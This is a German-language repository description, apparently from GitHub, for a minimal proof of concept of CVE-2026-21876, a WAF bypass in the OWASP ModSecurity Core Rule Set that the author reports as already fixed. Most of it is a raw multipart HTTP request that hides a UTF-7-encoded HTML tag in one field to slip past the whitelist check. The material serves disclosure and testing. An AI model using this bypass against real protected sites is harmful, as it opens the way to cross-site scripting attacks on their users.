mefhika120/cve-2026-21876Minimaler PoC und Docker-Container, der einen WAF-Bypass in OWASP ModSecurity CRS über die Verarbeitung von Multipart-Zeichensätzen demonstriert, was zur Auslieferung von XSS-Payloads führt.
CVE-2026-21876 Docker-Container + minimaler PoC.
Ich möchte mich separat bei @airween und @fzipi für ihre schnelle Reaktion bedanken! Der Fix für die Schwachstelle war in sehr kurzer Zeit fertig.
POST /submit HTTP/1.1
Host: localhost
User-Agent: curl/8.17.0
Accept: */*
Origin: https://example.com
Content-Length: 367
Content-Type: multipart/form-data; boundary=------------------------cmOi6twNhVJDu76bOwDTVz
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="username"
Content-Type: text/plain; charset=utf-7
+ADw-img+ACA-src+AD0-x+AD4-
--------------------------cmOi6twNhVJDu76bOwDTVz
Content-Disposition: form-data; name="dummy"
Content-Type: text/plain; charset=utf-8
dummy
--------------------------cmOi6twNhVJDu76bOwDTVz--
Der Wert von username wird nicht auf Zeichen geprüft, die nicht in der Whitelist enthalten sind, was zu einem WAF-Bypass führt.
